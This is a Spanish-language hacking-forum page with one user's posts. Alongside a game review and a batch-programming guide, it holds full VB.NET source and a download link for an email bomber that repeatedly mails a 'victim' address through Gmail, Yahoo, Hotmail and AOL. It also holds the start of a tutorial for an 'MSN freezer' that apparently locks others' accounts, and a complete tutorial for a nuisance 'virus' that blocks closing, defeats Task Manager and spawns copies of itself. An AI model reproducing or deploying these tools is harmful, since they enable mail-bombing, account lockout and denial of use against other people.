Publicados por Poska

Nosé yo apoyo a mi querido barcelona que despues de permitir que le ganara el madrid tiene que volver a ser él y ganarla! :want:

Habiendo jugado creo que puedo criticarlo jeje... el juego no está mal, no ocupa mucho, es fácil entender la temática y se hace entretenido en mi opinión para unos 5 o 6 meses (en mi opinión) ya que bastante monótono y su unico objetivo es levear y romper piedras, cosa que también se hace dificil si no tienes yang o md teniedo que gastar dinero real que tampoco hace mucha gracia. aunque es agradable conocer gente de diferentes paises.

gages de las aplicaciones sencillas _xD_

lol! que cosa más extraña, ahora pruebo a ver :icon_biggrin:

buenas, hace tiempo hice un e-mail spammer en vb y os traigo la versión 2.0, me apetecía hacer algo rápido y me puse y la mejoré xd
*Novedad!
-Ahora no solo usa gmail, también AOL,Yahoo y hotmail (los que conseguí el smtp xdd)
Capturilla:

Descarga: [http://www.mediafire.com/?6vr48vy9m1564t3][0]">[http://www.mediafire.com/?6vr48vy9m1564t3][1]
Source code para interesados:

Imports System.Net.Mail
Public Class FrmMain

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If txtuser.Text = "" = True Then
            MsgBox("El usuario o contraseña introducido no es válido", MsgBoxStyle.Critical, "Error")
            Exit Sub
        ElseIf txtpass.Text = "" = True Then
            MsgBox("El usuario o contraseña introducido no es válido", MsgBoxStyle.Critical, "Error")
            Exit Sub
        End If

        If server.Text = "smtp.gmail.com" Then
            Gmail.Start()
            Button2.Enabled = True
            txtuser.Enabled = False
            txtpass.Enabled = False
            txtsubj.Enabled = False
            txtmsg.Enabled = False
            server.Enabled = False
            Button1.Enabled = False
            txtvictim.Enabled = False
        ElseIf server.Text = "smtp.live.com" Then
            Hotmail.Start()
            Button2.Enabled = True
            txtuser.Enabled = False
            txtpass.Enabled = False
            txtsubj.Enabled = False
            txtmsg.Enabled = False
            server.Enabled = False
            Button1.Enabled = False
            txtvictim.Enabled = False
        ElseIf server.Text = "smtp.uk.aol.com" Then
            AOL.Start()
            Button2.Enabled = True
            txtuser.Enabled = False
            txtpass.Enabled = False
            txtsubj.Enabled = False
            txtmsg.Enabled = False
            server.Enabled = False
            Button1.Enabled = False
            txtvictim.Enabled = False
        ElseIf server.Text = "plus.smtp.mail.yahoo.com" Then
            Yahoo.Start()
            Button2.Enabled = True
            txtuser.Enabled = False
            txtpass.Enabled = False
            txtsubj.Enabled = False
            txtmsg.Enabled = False
            server.Enabled = False
            Button1.Enabled = False
            txtvictim.Enabled = False
        End If
        Exit Sub
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Gmail.Stop()
        Yahoo.Stop()
        Hotmail.Stop()
        AOL.Stop()
        txtuser.Enabled = True
        txtpass.Enabled = True
        txtsubj.Enabled = True
        txtmsg.Enabled = True
        server.Enabled = True
        Button1.Enabled = True
        txtvictim.Enabled = True
        Button2.Enabled = False
    End Sub

    Private Sub Gmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Gmail.Tick
        Dim mail As New MailMessage
        mail.To.Add(txtvictim.Text)
        mail.From = New MailAddress(txtuser.Text)
        mail.Subject = txtsubj.Text
        mail.Body = txtmsg.Text
        Dim SMTP As New SmtpClient(server.Text)
        SMTP.Port = 587
        SMTP.EnableSsl = True
        SMTP.Credentials = New System.Net.NetworkCredential(txtuser.Text, txtpass.Text)
        MailZ.Text = Val(MailZ.Text + 1)
        SMTP.Send(mail)

    End Sub

    Private Sub Yahoo_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Yahoo.Tick
        Dim mail As New MailMessage
        mail.To.Add(txtvictim.Text)
        mail.From = New MailAddress(txtuser.Text)
        mail.Subject = txtsubj.Text
        mail.Body = txtmsg.Text
        Dim SMTP As New SmtpClient(server.Text)
        SMTP.Port = 465
        SMTP.EnableSsl = True
        SMTP.Credentials = New System.Net.NetworkCredential(txtuser.Text, txtpass.Text)
        MailZ.Text = Val(MailZ.Text + 1)
        SMTP.Send(mail)

    End Sub

    Private Sub AOL_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AOL.Tick
        Dim mail As New MailMessage
        mail.To.Add(txtvictim.Text)
        mail.From = New MailAddress(txtuser.Text)
        mail.Subject = txtsubj.Text
        mail.Body = txtmsg.Text
        Dim SMTP As New SmtpClient(server.Text)
        SMTP.Port = 587
        SMTP.EnableSsl = True
        SMTP.Credentials = New System.Net.NetworkCredential(txtuser.Text, txtpass.Text)
        MailZ.Text = Val(MailZ.Text + 1)
        SMTP.Send(mail)
    End Sub

    Private Sub Hotmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Hotmail.Tick
        Dim mail As New MailMessage
        mail.To.Add(txtvictim.Text)
        mail.From = New MailAddress(txtuser.Text)
        mail.Subject = txtsubj.Text
        mail.Body = txtmsg.Text
        Dim SMTP As New SmtpClient(server.Text)
        SMTP.Port = 25
        SMTP.EnableSsl = True
        SMTP.Credentials = New System.Net.NetworkCredential(txtuser.Text, txtpass.Text)
        MailZ.Text = Val(MailZ.Text + 1)
        SMTP.Send(mail)
    End Sub


    Private Sub txtsubject_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        txtpass.UseSystemPasswordChar = True
    End Sub

    Private Sub server_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles server.SelectedIndexChanged
        If server.Text = "smtp.gmail.com" Then
            txtuser.Text = "@gmail.com"
        ElseIf server.Text = "smtp.live.com" Then
            txtuser.Text = "@hotmail.com"
        ElseIf server.Text = "smtp.uk.aol.com" Then
            txtuser.Text = "@aol.com"
        ElseIf server.Text = "plus.smtp.mail.yahoo.com" Then
            txtuser.Text = "@yahoo.com"
        End If
    End Sub

    Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click
        Form2.Show()
    End Sub
End Class

saludos

[0]: <a href=
[1]: http://www.mediafire.com/?6vr48vy9m1564t3

Buenas, aquí os pongo este tuto que hice hace tiempo sobre como hacer un famoso msn freezer o congelador xdd, usé vb2008
Nuevo proyecto windows application form y tal, modeamos el form al gusto y ahora:

Creamos 2 buttons: Freeze y Unfreeze
Luego un checkbox y 1 textbox
3 labels: en uno ponemos correo en otro estado y el otro lo dejamos en blanco
1 Timer y lo dejamos como viene por defecto
1 WebBrowser y en url le ponemos [http://mobile.msn.com/hm/folder.phpx][0]">[http://mobile.msn.com/hm/folder.phpx][1] y en visible false (para que no se vea s.

[0]: <a href=
[1]: http://mobile.msn.com/hm/folder.phpx

Buenas gente de UJ, abro este post para compartir con vosotros una guía sobre como programar en batch (supongo que todos conoceis lo que es, si no más bajo dejo info de la wikipedia :icon_cheesygrin: ) que hice hace un mes para dmx (otro foro :icon_rolleyes: ) .

Explico los conceptos/comandos básicos de la manera más simple que se me ocurrio para que los que quieran empezar lo encuentren fácil, está en formato pdf y son 3 hojitas pero no se hace largo jaja. Espero que os sirva si teneis alguna duda me avisais Ok? venga saludos

Info batch: [http://es.wikipedia.org/wiki/Batch][0]">[http://es.wikipedia.org/wiki/Batch][1]
Descarga (formato .pdf) si alguien lo quiere en .doc o .txt que lo pida y lo subo
Aquí: [http://www.mediafire.com/?349lvf9arenjj16][0]">[http://www.mediafire.com/?349lvf9arenjj16][2]

[0]: <a href=
[1]: http://es.wikipedia.org/wiki/Batch
[2]: http://www.mediafire.com/?349lvf9arenjj16

no funka xD

Bien hecho hace tiempo hice uno como ese jeje creo k lo deje por el foro (WorldNavigator o algo asi xD)

_Bueno, voi a explicar como crear el típico virus molesto que al querer salir te abre otra ventanita igual, y que si intentas cerrar te da error.
Como no tengo programa de edición de video y no quiero colgar un video de 10min explicare el proceso y despues pondre un video en el que realizo los pasos sin explicar nada xD.
1- Entramos a vb y creamos un nuevo proyecto windows form
2- Añadimos un button un label y un picture box, (la imagen tendra el truco de que si la pulsamos el programa se cierra, si quieres ser mas capullo mas abajo explico como desabilitarlo)
3- Editando: Cambiamos el campo "text" del form y del button, en el form ponemos el nombre de nuestro virus y en el button salir. En el label ponemos el texto que queramos, yo puse " a ver si sales de mi vius zorra" xDD.Tambien podemos editar el color del fondo del form etc. En el picturebox ponemos una imagen, si queda descentrada, vamos a la pestañita que sale arriba del picture box y en size mode poner zoom.Vamos al form1 y en formborderstyle ponemos fixed single.
Bien, ahora vamos al form1 y hacemos doble click. borramos todo lo que hay y pegamos este codigo:

Public Class Form1
    Dim times As Integer = 1

    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs)Handles Me.FormClosing
        If e.CloseReason = CloseReason.UserClosing Then
            e.Cancel = True
            MsgBox("Creo que no!", MsgBoxStyle.Critical, "Error!")
        ElseIf e.CloseReason = CloseReason.ApplicationExitCall Then
            e.Cancel = True
            MsgBox(" La aplicacion no se puede finalizar !", MsgBoxStyle.Critical, "Error!")
        ElseIf e.CloseReason = CloseReason.TaskManagerClosing Then
            e.Cancel = True
            MsgBox("Administrador de tareas? no vale!")
            Application.DoEvents()




        End If
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim newform1 As New Form1
        newform1.Text = "Virus Webon" & times.ToString
        newform1.Show()
        times += 1
    End Sub

    Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click
        End
    End Sub
End Class

Explico el codigo:
La primera parte simula un error en el administrador de tareas y no nos deja cerrar el programa.
La segunda parte hace que cuando pulsemos el boton se abra el programa otra vez
Si no quieres k el programa se cierre, no pongas imagen
Y eso es todo, un buen tuto para principiantes, con un resultado similar a este:

Video:
http://www.youtube.com/watch?v=F0BLPHQKKXs
Un saludo si hay dudas preguntais.
Si no saben crearlo, dejo el mio por si lo quieren usar: [http://www.megaupload.com/?d=IKWWBLRF][1]">[http://www.megaupload.com/?d=IKWWBLRF][2]_

[1]: <a href=
[2]: http://www.megaupload.com/?d=IKWWBLRF